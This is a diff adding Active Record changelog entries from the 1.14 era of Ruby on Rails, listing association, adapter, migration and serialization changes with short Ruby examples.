+* find supports :lock with :include. Check whether your database allows SELECT ... FOR UPDATE with outer joins before using.  #6764 [vitaly, Jeremy Kemper]
+
+* Support nil and Array in :conditions => { attr => value } hashes.  #6548 [Assaf, Jeremy Kemper]
+    find(:all, :conditions => { :topic_id => [1, 2, 3], :last_read => nil }
+
+* Quote ActiveSupport::Multibyte::Chars.  #6653 [Julian Tarkhanov]
+
+* MySQL: detect when a NOT NULL column without a default value is misreported as default ''.  Can't detect for string, text, and binary columns since '' is a legitimate default.  #6156 [simon at redhillconsulting.com.au, obrie, Jonathan Viney, Jeremy Kemper]
+
+* validates_numericality_of uses \A \Z to ensure the entire string matches rather than ^ $ which may match one valid line of a multiline string.  #5716 [Andreas Schwarz]
+
+* Oracle: automatically detect the primary key.  #6594 [vesaria, Michael Schoen]
+
+* Oracle: to increase performance, prefetch 100 rows and enable similar cursor sharing. Both are configurable in database.yml.  #6607 [philbogle at gmail.com, ray.fortna at jobster.com, Michael Schoen]
+
+* Firebird: decimal/numeric support.  #6408 [macrnic]
+
+* Find with :include respects scoped :order.  #5850
+
+* Dynamically generate reader methods for serialized attributes.  #6362 [Stefan Kaes]
+
+* Deprecation: object transactions warning.  [Jeremy Kemper]
+
+* has_one :dependent => :nullify ignores nil associates.  #6528 [janovetz, Jeremy Kemper]
+
+* Oracle: resolve test failures, use prefetched primary key for inserts, check for null defaults, fix limited id selection for eager loading. Factor out some common methods from all adapters.  #6515 [Michael Schoen]
+
+* Make add_column use the options hash with the Sqlite Adapter. Closes #6464 [obrie]
+
+* Document other options available to migration's add_column. #6419 [grg]
+
+* MySQL: all_hashes compatibility with old MysqlRes class.  #6429, #6601 [Jeremy Kemper]
+
+* Fix has_many :through to add the appropriate conditions when going through an association using STI. Closes #5783. [Jonathan Viney]
+
+* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters [Rick]
+
+* Restore eager condition interpolation, document it's differences [Rick]
+
+* Don't rollback in teardown unless a transaction was started. Don't start a transaction in create_fixtures if a transaction is started.  #6282 [Jacob Fugal, Jeremy Kemper]
+
+* Add #delete support to has_many :through associations.  Closes #6049 [Martin Landers]
+
+* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql.  Closes #5851 [Rick]
+
+* Removes the ability for eager loaded conditions to be interpolated, since there is no model instance to use as a context for interpolation. #5553 [turnip at turnipspatch.com]
+
+* Added timeout option to SQLite3 configurations to deal more gracefully with SQLite3::BusyException, now the connection can instead retry for x seconds to see if the db clears up before throwing that exception #6126 [wreese at gmail.com]
+
+* Added update_attributes! which uses save! to raise an exception if a validation error prevents saving #6192 [jonathan]
+
+* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 [BobSilva]
+
+* The has_many create method works with polymorphic associations.  #6361 [Dan Peterson]
+
+* MySQL: introduce Mysql::Result#all_hashes to support further optimization.  #5581 [Stefan Kaes]
+
+* save! shouldn't validate twice.  #6324 [maiha, Bob Silva]
+
+* Association collections have an _ids reader method to match the existing writer for collection_select convenience (e.g. employee.task_ids). The writer method skips blank ids so you can safely do @employee.task_ids = params[:tasks] without checking every time for an empty list or blank values.  #1887, #5780 [Michael Schuerig]
+
+* Add an attribute reader method for ActiveRecord::Base.observers [Rick Olson]
+
+* Deprecation: count class method should be called with an options hash rather than two args for conditions and joins.  #6287 [Bob Silva]
+
+* has_one associations with a nil target may be safely marshaled.  #6279 [norbauer, Jeremy Kemper]
+
+* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects [Koz]
+
+* Add a :namespace option to  AR::Base#to_xml [Koz]
+
+* Deprecation tests. Remove warnings for dynamic finders and for the foo_count method if it's also an attribute. [Jeremy Kemper]
+
+* Mock Time.now for more accurate Touch mixin tests.  #6213 [Dan Peterson]
+
+* Improve yaml fixtures error reporting.  #6205 [Bruce Williams]
+
+* Rename AR::Base#quote so people can use that name in their models. #3628 [Koz]
+
+* Add deprecation warning for inferred foreign key. #6029 [Josh Susser]
+
+* Fixed the Ruby/MySQL adapter we ship with Active Record to work with the new authentication handshake that was introduced in MySQL 4.1, along with the other protocol changes made at that time #5723 [jimw at mysql.com]
+
+* Deprecation: use :dependent => :delete_all rather than :exclusively_dependent => true.  #6024 [Josh Susser]
+
+* Optimistic locking: gracefully handle nil versions, treat as zero.  #5908 [Tom Ward]
+
+* to_xml: the :methods option works on arrays of records.  #5845 [Josh Starcher]
+
+* has_many :through conditions are sanitized by the associating class.  #5971 [martin.emde at gmail.com]
+
+* Fix spurious newlines and spaces in AR::Base#to_xml output [Jamis Buck]
+
+* has_one supports the :dependent => :delete option which skips the typical callback chain and deletes the associated object directly from the database.  #5927 [Chris Mear, Jonathan Viney]
+
+* Nested subclasses are not prefixed with the parent class' table_name since they should always use the base class' table_name.  #5911 [Jonathan Viney]
+
+* SQLServer: work around bug where some unambiguous date formats are not correctly identified if the session language is set to german.  #5894 [Tom Ward, kruth at bfpi]
+
+* Clashing type columns due to a sloppy join shouldn't wreck single-table inheritance.  #5838 [Kevin Clark]
+
+* Fixtures: correct escaping of \n and \r.  #5859 [evgeny.zislis at gmail.com]
+
+* Migrations: gracefully handle missing migration files.  #5857 [eli.gordon at gmail.com]
+
+* MySQL: update test schema for MySQL 5 strict mode.  #5861 [Tom Ward]
+
+* to_xml: correct naming of included associations.  #5831 [josh.starcher at gmail.com]
+
+* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association.  #5815, #5829 [josh at hasmanythrough.com]
+
+* Add records to has_many :through using <<, push, and concat by creating the association record. Raise if base or associate are new records since both ids are required to create the association. #build raises since you can't associate an unsaved record. #create! takes an attributes hash and creates the associated record and its association in a transaction. [Jeremy Kemper]
+
+    # Create a tagging to associate the post and tag.
+    post.tags << Tag.find_by_name('old')
+    post.tags.create! :name => 'general'
+
+    # Would have been:
+    post.taggings.create!(:tag => Tag.find_by_name('finally')
+    transaction do
+      post.taggings.create!(:tag => Tag.create!(:name => 'general'))
+    end
+
+* Cache nil results for :included has_one associations also.  #5787 [Michael Schoen]
+
+* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. [Tobias Luetke]
+
+* Nested classes are given table names prefixed by the singular form of the parent's table name. [Jeremy Kemper]
+    Example: Invoice::Lineitem is given table name invoice_lineitems
+
+* Migrations: uniquely name multicolumn indexes so you don't have to. [Jeremy Kemper]
+    # people_active_last_name_index, people_active_deactivated_at_index
+    add_index    :people, [:active, :last_name]
+    add_index    :people, [:active, :deactivated_at]
+    remove_index :people, [:active, :last_name]
+    remove_index :people, [:active, :deactivated_at]
+
+  WARNING: backward-incompatibility. Multicolumn indexes created before this
+  revision were named using the first column name only. Now they're uniquely
+  named using all indexed columns.
+
+  To remove an old multicolumn index, remove_index :table_name, :first_column
+
+* Fix for deep includes on the same association. [richcollins at gmail.com]
+
+* Tweak fixtures so they don't try to use a non-ActiveRecord class.  [Kevin Clark]
+
+* Remove ActiveRecord::Base.reset since Dispatcher doesn't use it anymore.  [Rick Olson]
+
+* PostgreSQL: autodetected sequences work correctly with multiple schemas. Rely on the schema search_path instead of explicitly qualifying the sequence name with its schema.  #5280 [guy.naor at famundo.com]
+
+* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
+
+* Cache nil results for has_one associations so multiple calls don't call the database.  Closes #5757. [Michael A. Schoen]
+
+* Don't save has_one associations unnecessarily.  #5735 [Jonathan Viney]
+
+* Refactor ActiveRecord::Base.reset_subclasses to #reset, and add global observer resetting.  [Rick Olson]
+
+* Formally deprecate the deprecated finders. [Koz]
+
+* Formally deprecate rich associations.  [Koz]
+
+* Fixed that default timezones for new / initialize should uphold utc setting #5709 [daniluk at yahoo.com]
+
+* Fix announcement of very long migration names.  #5722 [blake at near-time.com]
+
+* The exists? class method should treat a string argument as an id rather than as conditions.  #5698 [jeremy at planetargon.com]
+
+* Fixed to_xml with :include misbehaviors when invoked on array of model instances #5690 [alexkwolfe at gmail.com]
+
+* Added support for conditions on Base.exists? #5689 [Josh Peek]. Examples:
+
+    assert (Topic.exists?(:author_name => "David")) 
+ 	  assert (Topic.exists?(:author_name => "Mary", :approved => true)) 
+ 	  assert (Topic.exists?(["parent_id = ?", 1]))
+
+* Schema dumper quotes date :default values. [Dave Thomas]
+
+* Calculate sum with SQL, not Enumerable on HasManyThrough Associations. [Dan Peterson]
+
+* Factor the attribute#{suffix} methods out of method_missing for easier extension. [Jeremy Kemper]
+
+* Patch sql injection vulnerability when using integer or float columns. [Jamis Buck]
+
+* Allow #count through a has_many association to accept :include.  [Dan Peterson]
+
+* create_table rdoc: suggest :id => false for habtm join tables. [Zed Shaw]
+
+* PostgreSQL: return array fields as strings. #4664 [Robby Russell]
+
+* SQLServer: added tests to ensure all database statements are closed, refactored identity_insert management code to use blocks, removed update/delete rowcount code out of execute and into update/delete, changed insert to go through execute method, removed unused quoting methods, disabled pessimistic locking tests as feature is currently unsupported, fixed RakeFile to load sqlserver specific tests whether running in ado or odbc mode, fixed support for recently added decimal types, added support for limits on integer types. #5670 [Tom Ward]
+
+* SQLServer: fix db:schema:dump case-sensitivity. #4684 [Will Rogers]
+
+* Oracle: BigDecimal support. #5667 [schoenm at earthlink.net]
+
+* Numeric and decimal columns map to BigDecimal instead of Float. Those with scale 0 map to Integer. #5454 [robbat2 at gentoo.org, work at ashleymoran.me.uk]
+
+* Firebird migrations support. #5337 [Ken Kunz <kennethkunz at gmail.com>]
+
+* PostgreSQL: create/drop as postgres user. #4790 [mail at matthewpainter.co.uk, mlaster at metavillage.com]
+
+* PostgreSQL: correctly quote the ' in pk_and_sequence_for. #5462 [tietew at tietew.net]
+
+* PostgreSQL: correctly quote microseconds in timestamps. #5641 [rick at rickbradley.com]
+
+* Clearer has_one/belongs_to model names (account has_one :user). #5632 [matt at mattmargolis.net]
+
+* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 [schoenm at earthlink.net]
+
+* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 [schoenm at earthlink.net]
+
+* Added :group to available options for finds done on associations #5516 [mike at michaeldewey.org]
+
+* Observers also watch subclasses created after they are declared. #5535 [daniels at pronto.com.au]
+
+* Removed deprecated timestamps_gmt class methods. [Jeremy Kemper]
+
+* rake build_mysql_database grants permissions to rails at localhost. #5501 [brianegge at yahoo.com]
+
+* PostgreSQL: support microsecond time resolution. #5492 [alex at msgpad.com]
+
+* Add AssociationCollection#sum since the method_missing invokation has been shadowed by Enumerable#sum.
+
+* Added find_or_initialize_by_X which works like find_or_create_by_X but doesn't save the newly instantiated record. [Sam Stephenson]
+
+* Row locking. Provide a locking clause with the :lock finder option or true for the default "FOR UPDATE". Use the #lock! method to obtain a row lock on a single record (reloads the record with :lock => true). [Shugo Maeda]
+    # Obtain an exclusive lock on person 1 so we can safely increment visits.
+    Person.transaction do
+      # select * from people where id=1 for update
+      person = Person.find(1, :lock => true)
+      person.visits += 1
+      person.save!
+    end
+
+* PostgreSQL: introduce allow_concurrency option which determines whether to use blocking or asynchronous #execute. Adapters with blocking #execute will deadlock Ruby threads. The default value is ActiveRecord::Base.allow_concurrency. [Jeremy Kemper]
+
+* Use a per-thread (rather than global) transaction mutex so you may execute concurrent transactions on separate connections. [Jeremy Kemper]
+
+* Change AR::Base#to_param to return a String instead of a Fixnum. Closes #5320. [Nicholas Seckar]
+
+* Use explicit delegation instead of method aliasing for AR::Base.to_param -> AR::Base.id. #5299 (skaes at web.de)
+
+* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization [DHH]
+
+* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [hcatlin at gmail.com]. Example:
+
+    Person.find(:all, :conditions => { :last_name => "Catlin", :status => 1 }, :limit => 2) 
+
+...is the same as:
+
+    Person.find(:all, :conditions => [ "last_name = ? and status = ?", "Catlin", 1 ], :limit => 2)
+
+  This makes it easier to pass in the options from a form or otherwise outside.
+
+
+* Fixed issues with BLOB limits, charsets, and booleans for Firebird #5194, #5191, #5189 [kennethkunz at gmail.com]
+
+* Fixed usage of :limit and with_scope when the association in scope is a 1:m #5208 [alex at purefiction.net]
+
+* Fixed migration trouble with SQLite when NOT NULL is used in the new definition #5215 [greg at lapcominc.com]
+
+* Fixed problems with eager loading and counting on SQL Server #5212 [kajism at yahoo.com]
+
+* Fixed that count distinct should use the selected column even when using :include #5251 [anna at wota.jp]
+
+* Fixed that :includes merged from with_scope won't cause the same association to be loaded more than once if repetition occurs in the clauses #5253 [alex at purefiction.net]
+
+* Allow models to override to_xml.  #4989 [Blair Zajac <blair at orcaware.com>]
+
+* PostgreSQL: don't ignore port when host is nil since it's often used to label the domain socket.  #5247 [shimbo at is.naist.jp]
+
+* Records and arrays of records are bound as quoted ids. [Jeremy Kemper]
+    Foo.find(:all, :conditions => ['bar_id IN (?)', bars])
+    Foo.find(:first, :conditions => ['bar_id = ?', bar])
+
+* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty [DHH]
+
+* Add a list of regexes assert_queries skips in the ActiveRecord test suite.  [Rick]
+
+* Fix the has_and_belongs_to_many #create doesn't populate the join for new records.  Closes #3692 [josh at hasmanythrough.com]
+
+* Provide Association Extensions access to the instance that the association is being accessed from.  
+  Closes #4433 [josh at hasmanythrough.com]
+
+* Update OpenBase adaterp's maintainer's email address. Closes #5176. [Derrick Spell]
+
+* Add a quick note about :select and eagerly included associations. [Rick]
+
+* Add docs for the :as option in has_one associations.  Closes #5144 [cdcarter at gmail.com]
+
+* Fixed that has_many collections shouldn't load the entire association to do build or create [DHH]
+
+* Added :allow_nil option for aggregations #5091 [ian.w.white at gmail.com]
+
+* Fix Oracle boolean support and tests. Closes #5139. [schoenm at earthlink.net]
+
+* create! no longer blows up when no attributes are passed and a :create scope is in effect (e.g. foo.bars.create! failed whereas foo.bars.create!({}) didn't.) [Jeremy Kemper]
+
+* Call Inflector#demodulize on the class name when eagerly including an STI model.  Closes #5077 [info at loobmedia.com]
+
+* Preserve MySQL boolean column defaults when changing a column in a migration. Closes #5015. [pdcawley at bofh.org.uk] 
+
+* PostgreSQL: migrations support :limit with :integer columns by mapping limit < 4 to smallint, > 4 to bigint, and anything else to integer. #2900 [keegan at thebasement.org]
+
+* Dates and times interpret empty strings as nil rather than 2000-01-01. #4830 [kajism at yahoo.com]
+
+* Allow :uniq => true with has_many :through associations. [Jeremy Kemper]
+
+* Ensure that StringIO is always available for the Schema dumper. [Marcel Molina Jr.]
+
+* Allow AR::Base#to_xml to include methods too. Closes #4921. [johan at textdrive.com] 
+
+* Remove duplicate fixture entry in comments.yml. Closes #4923. [Blair Zajac <blair at orcaware.com>]
+
+* When grouping, use the appropriate option key. [Marcel Molina Jr.]
+
+* Add support for FrontBase (http://www.frontbase.com/) with a new adapter thanks to the hard work of one Mike Laster. Closes #4093. [mlaster at metavillage.com]
+
+* Add warning about the proper way to validate the presence of a foreign key. Closes #4147. [Francois Beausoleil <francois.beausoleil at gmail.com>]
+
+* Fix syntax error in documentation. Closes #4679. [mislav at nippur.irb.hr] 
+
+* Add Oracle support for CLOB inserts. Closes #4748. [schoenm at earthlink.net sandra.metz at duke.edu] 
+
+* Various fixes for sqlserver_adapter (odbc statement finishing, ado schema dumper, drop index). Closes #4831. [kajism at yahoo.com]
+
+* Add support for :order option to with_scope. Closes #3887. [eric.daspet at survol.net]
+
+* Prettify output of schema_dumper by making things line up. Closes #4241 [Caio  Chassot <caio at v2studio.com>]
+
+* Make build_postgresql_databases task make databases owned by the postgres user. Closes #4790. [mlaster at metavillage.com]
+
+* Sybase Adapter type conversion cleanup. Closes #4736. [dev at metacasa.net]
+
+* Fix bug where calculations with long alias names return null. [Rick]
+
+* Raise error when trying to add to a has_many :through association.  Use the Join Model instead. [Rick]
+
+    @post.tags << @tag                  # BAD
+    @post.taggings.create(:tag => @tag) # GOOD
+
+* Allow all calculations to take the :include option, not just COUNT (closes #4840) [Rick]
+
+* Add ActiveRecord::Errors#to_xml [Jamis Buck]
+
+* Properly quote index names in migrations (closes #4764) [John Long]
+
+* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility.  [Rick]
+
+* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick]
+
+* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick]
+
+* Add :case_sensitive option to validates_uniqueness_of (closes #3090) [Rick]
+
+    class Account < ActiveRecord::Base
+      validates_uniqueness_of :email, :case_sensitive => false
+    end
+
+* Allow multiple association extensions with :extend option (closes #4666) [Josh Susser]
+
+    class Account < ActiveRecord::Base
+      has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
+    end
+
+
+*1.14.4* (August 8th, 2006)
+
+* Add warning about the proper way to validate the presence of a foreign key.  #4147 [Francois Beausoleil <francois.beausoleil at gmail.com>]
+
+* Fix syntax error in documentation. #4679 [mislav at nippur.irb.hr] 
+
+* Update inconsistent migrations documentation. #4683 [machomagna at gmail.com]
+
+
+*1.14.3* (June 27th, 2006)
+
+* Fix announcement of very long migration names.  #5722 [blake at near-time.com]
+
+* Update callbacks documentation. #3970 [Robby Russell <robby at planetargon.com>]
+
+* Properly quote index names in migrations (closes #4764) [John Long]
+
+* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick]
+
+* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick]
+
+
+*1.14.2* (April 9th, 2006)
+
+* Fixed calculations for the Oracle Adapter (closes #4626) [Michael Schoen]
+
+
+*1.14.1* (April 6th, 2006)
+
+* Fix type_name_with_module to handle type names that begin with '::'. Closes #4614. [Nicholas Seckar]
+
+* Fixed that that multiparameter assignment doesn't work with aggregations (closes #4620) [Lars Pind]
+
+* Enable Limit/Offset in Calculations (closes #4558) [lmarlow at yahoo.com]
+
+* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) [Rick]
+
+* Fixed HasManyAssociation#find bugs when :finder_sql is set #4600 [lagroue at free.fr]
+
+* Allow AR::Base#respond_to? to behave when @attributes is nil [zenspider]
+
+* Support eager includes when going through a polymorphic has_many association. [Rick]
+
+* Added support for eagerly including polymorphic has_one associations. (closes #4525) [Rick]
+
+    class Post < ActiveRecord::Base
+      has_one :tagging, :as => :taggable
+    end
+
+    Post.find :all, :include => :tagging
+
+* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many [Rick]
+
+* Added support for going through a polymorphic has_many association: (closes #4401) [Rick]
+
+    class PhotoCollection < ActiveRecord::Base
+      has_many :photos, :as => :photographic
+      belongs_to :firm
+    end
+
+    class Firm < ActiveRecord::Base
+      has_many :photo_collections
+      has_many :photos, :through => :photo_collections
+    end
+
+* Multiple fixes and optimizations in PostgreSQL adapter, allowing ruby-postgres gem to work properly. [ruben.nine at gmail.com]
+
+* Fixed that AssociationCollection#delete_all should work even if the records of the association are not loaded yet. [Florian Weber]
+
+* Changed those private ActiveRecord methods to take optional third argument :auto instead of nil for performance optimizations.  (closes #4456) [Stefan]
+
+* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) [Rick]
+
+* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model [DHH]
+
+* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) [DHH]
+
+* Do not implicitly mark recordss of has_many :through as readonly but do mark habtm records as readonly (eventually only on join tables without rich attributes). [Marcel Mollina Jr.]
+
+* Fixed broken OCIAdapter #4457 [schoenm at earthlink.net]
+
+
+*1.14.0* (March 27th, 2006)
+
+* Replace 'rescue Object' with a finer grained rescue. Closes #4431. [Nicholas Seckar]
+
+* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table [Rick]
+
+* Add support for :include to with_scope [andrew at redlinesoftware.com]
+
+* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 [schoenm at earthlink.net]
+
+* Change periods (.) in table aliases to _'s.  Closes #4251 [jeff at ministrycentered.com]
+
+* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x.  Closes #4348 [Rick]
+
+* Fixed issue that kept :select options from being scoped [Rick]
+
+* Fixed db_schema_import when binary types are present #3101 [DHH]
+
+* Fixed that MySQL enums should always be returned as strings #3501 [DHH]
+
+* Change has_many :through to use the :source option to specify the source association.  :class_name is now ignored. [Rick Olson]
+
+    class Connection < ActiveRecord::Base
+      belongs_to :user
+      belongs_to :channel
+    end
+
+    class Channel < ActiveRecord::Base
+      has_many :connections
+      has_many :contacts, :through => :connections, :class_name => 'User' # OLD
+      has_many :contacts, :through => :connections, :source => :user      # NEW
+    end
+
+* Fixed DB2 adapter so nullable columns will be determines correctly now and quotes from column default values will be removed #4350 [contact at maik-schmidt.de]
+
+* Allow overriding of find parameters in scoped has_many :through calls [Rick Olson]
+
+  In this example, :include => false disables the default eager association from loading.  :select changes the standard
+  select clause.  :joins specifies a join that is added to the end of the has_many :through query.
+
+    class Post < ActiveRecord::Base
+      has_many :tags, :through => :taggings, :include => :tagging do
+        def add_joins_and_select
+          find :all, :select => 'tags.*, authors.id as author_id', :include => false,
+            :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
+        end
+      end
+    end
+
+* Fixed that schema changes while the database was open would break any connections to a SQLite database (now we reconnect if that error is throw) [DHH]
+
+* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) [jonathan at bluewire.net.nz]
+
+* Quit ignoring default :include options in has_many :through calls [Mark James]
+
+* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) [jonathan at bluewire.net.nz]
+
+* Eager Loading support added for has_many :through => :has_many associations (see below).  [Rick Olson]
+
+* Allow has_many :through to work on has_many associations (closes #3864) [sco at scottraymond.net]  Example:
+
+    class Firm < ActiveRecord::Base
+      has_many :clients
+      has_many :invoices, :through => :clients
+    end
+
+    class Client < ActiveRecord::Base
+      belongs_to :firm
+      has_many   :invoices
+    end
+
+    class Invoice < ActiveRecord::Base
+      belongs_to :client
+    end
+
+* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) [josh at hasmanythrough.com]
+
+* Fixed has_many :through to include :conditions set on the :through association. closes #4020 [jonathan at bluewire.net.nz]
+
+* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) [andylien at gmail.com / Rick]
+
+* SQL Server adapter gets some love #4298 [rtomayko at gmail.com]
+
+* Added OpenBase database adapter that builds on top of the http://www.spice-of-life.net/ruby-openbase/ driver. All functionality except LIMIT/OFFSET is supported #3528 [derrickspell at cdmplus.com]
+
+* Rework table aliasing to account for truncated table aliases.  Add smarter table aliasing when doing eager loading of STI associations. This allows you to use the association name in the order/where clause. [Jonathan Viney / Rick Olson] #4108 Example (SpecialComment is using STI):
+
+    Author.find(:all, :include => { :posts => :special_comments }, :order => 'special_comments.body')
+
+* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. [Rick]
+
+* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 [Koz]
+
+* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 [Koz]
+
+* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 [Tom ward]
+
+* Fixed that Migration#execute would have the table name prefix appended to its query #4110 [mark.imbriaco at pobox.com]
+
+* Make all tinyint(1) variants act like boolean in mysql (tinyint(1) unsigned, etc.) [Jamis Buck]
+
+* Use association's :conditions when eager loading. [jeremyevans0 at gmail.com] #4144
+
+* Alias the has_and_belongs_to_many join table on eager includes. #4106 [jeremyevans0 at gmail.com]
+
+  This statement would normally error because the projects_developers table is joined twice, and therefore joined_on would be ambiguous.
+
+    Developer.find(:all, :include => {:projects => :developers}, :conditions => 'join_project_developers.joined_on IS NOT NULL')
+
+* Oracle adapter gets some love #4230 [schoenm at earthlink.net]
+
+    * Changes :text to CLOB rather than BLOB [Moses Hohman]
+    * Fixes an issue with nil numeric length/scales (several)
+    * Implements support for XMLTYPE columns [wilig / Kubo Takehiro]
+    * Tweaks a unit test to get it all green again
+    * Adds support for #current_database
+
+* Added Base.abstract_class? that marks which classes are not part of the Active Record hierarchy #3704 [Rick Olson]
+
+    class CachedModel < ActiveRecord::Base
+      self.abstract_class = true
+    end
+
+    class Post < CachedModel
+    end
+
+    CachedModel.abstract_class?
+    => true
+
+    Post.abstract_class?
+    => false
+
+    Post.base_class
+    => Post
+
+    Post.table_name
+    => 'posts'
+
+* Allow :dependent options to be used with polymorphic joins. #3820 [Rick Olson]
+
+    class Foo < ActiveRecord::Base
+      has_many :attachments, :as => :attachable, :dependent => :delete_all
+    end
+
+* Nicer error message on has_many :through when :through reflection can not be found. #4042 [court3nay at gmail.com]
+
+* Upgrade to Transaction::Simple 1.3 [Jamis Buck]
+
+* Catch FixtureClassNotFound when using instantiated fixtures on a fixture that has no ActiveRecord model [Rick Olson]
+
+* Allow ordering of calculated results and/or grouped fields in calculations [solo at gatelys.com]
+
+* Make ActiveRecord::Base#save! return true instead of nil on success.  #4173 [johan at johansorensen.com]
+
+* Dynamically set allow_concurrency.  #4044 [Stefan Kaes]
+
+* Added Base#to_xml that'll turn the current record into a XML representation [DHH]. Example:
+
+    topic.to_xml
+
+  ...returns:
+
+    <?xml version="1.0" encoding="UTF-8"?>
+    <topic>
+      <title>The First Topic</title>
+      <author-name>David</author-name>
+      <id type="integer">1</id>
+      <approved type="boolean">false</approved>
+      <replies-count type="integer">0</replies-count>
+      <bonus-time type="datetime">2000-01-01 08:28:00</bonus-time>
+      <written-on type="datetime">2003-07-16 09:28:00</written-on>
+      <content>Have a nice day</content>
+      <author-email-address>david at loudthinking.com</author-email-address>
+      <parent-id></parent-id>
+      <last-read type="date">2004-04-15</last-read>
+    </topic>
+
+  ...and you can configure with:
+
+    topic.to_xml(:skip_instruct => true, :except => [ :id, bonus_time, :written_on, replies_count ])
+
+  ...that'll return:
+
+    <topic>
+      <title>The First Topic</title>
+      <author-name>David</author-name>
+      <approved type="boolean">false</approved>
+      <content>Have a nice day</content>
+      <author-email-address>david at loudthinking.com</author-email-address>
+      <parent-id></parent-id>
+      <last-read type="date">2004-04-15</last-read>
+    </topic>
+
+  You can even do load first-level associations as part of the document:
+
+    firm.to_xml :include => [ :account, :clients ]
+
+  ...that'll return something like:
+
+    <?xml version="1.0" encoding="UTF-8"?>
+    <firm>
+      <id type="integer">1</id>
+      <rating type="integer">1</rating>
+      <name>37signals</name>
+      <clients>
+        <client>
+          <rating type="integer">1</rating>
+          <name>Summit</name>
+        </client>
+        <client>
+          <rating type="integer">1</rating>
+          <name>Microsoft</name>
+        </client>
+      </clients>
+      <account>
+        <id type="integer">1</id>
+        <credit-limit type="integer">50</credit-limit>
+      </account>
+    </firm>  
+
+* Allow :counter_cache to take a column name for custom counter cache columns [Jamis Buck]
+
+* Documentation fixes for :dependent [robby at planetargon.com]
+
+* Stop the MySQL adapter crashing when views are present. #3782 [Jonathan Viney]
+
+* Don't classify the belongs_to class, it is already singular #4117 [keithm at infused.org]
+
+* Allow set_fixture_class to take Classes instead of strings for a class in a module.  Raise FixtureClassNotFound if a fixture can't load.  [Rick Olson]
+
+* Fix quoting of inheritance column for STI eager loading #4098 [Jonathan Viney <jonathan at bluewire.net.nz>]
+
+* Added smarter table aliasing for eager associations for multiple self joins #3580 [Rick Olson]
+
+    * The first time a table is referenced in a join, no alias is used.
+    * After that, the parent class name and the reflection name are used.
+
+        Tree.find(:all, :include => :children) # LEFT OUTER JOIN trees AS tree_children ...
+
+    * Any additional join references get a numerical suffix like '_2', '_3', etc.
+
+* Fixed eager loading problems with single-table inheritance #3580 [Rick Olson]. Post.find(:all, :include => :special_comments) now returns all posts, and any special comments that the posts may have. And made STI work with has_many :through and polymorphic belongs_to.
+
+* Added cascading eager loading that allows for queries like Author.find(:all, :include=> { :posts=> :comments }), which will fetch all authors, their posts, and the comments belonging to those posts in a single query (using LEFT OUTER JOIN) #3913 [anna at wota.jp]. Examples:
+
+    # cascaded in two levels
+    >> Author.find(:all, :include=>{:posts=>:comments})
+    => authors
+         +- posts
+              +- comments
+
+    # cascaded in two levels and normal association
+    >> Author.find(:all, :include=>[{:posts=>:comments}, :categorizations])
+    => authors
+         +- posts
+              +- comments
+         +- categorizations
+
+    # cascaded in two levels with two has_many associations
+    >> Author.find(:all, :include=>{:posts=>[:comments, :categorizations]})
+    => authors
+         +- posts
+              +- comments
+              +- categorizations
+
+    # cascaded in three levels
+    >> Company.find(:all, :include=>{:groups=>{:members=>{:favorites}}})
+    => companies
+         +- groups
+              +- members
+                   +- favorites
+
+* Make counter cache work when replacing an association #3245 [eugenol at gmail.com]
+
+* Make migrations verbose [Jamis Buck]
+
+* Make counter_cache work with polymorphic belongs_to [Jamis Buck]
+
+* Fixed that calling HasOneProxy#build_model repeatedly would cause saving to happen #4058 [anna at wota.jp]
+
+* Added Sybase database adapter that relies on the Sybase Open Client bindings (see http://raa.ruby-lang.org/project/sybase-ctlib) #3765 [John Sheets]. It's almost completely Active Record compliant (including migrations), but has the following caveats:
+
+    * Does not support DATE SQL column types; use DATETIME instead.
+    * Date columns on HABTM join tables are returned as String, not Time.
+    * Insertions are potentially broken for :polymorphic join tables
+    * BLOB column access not yet fully supported
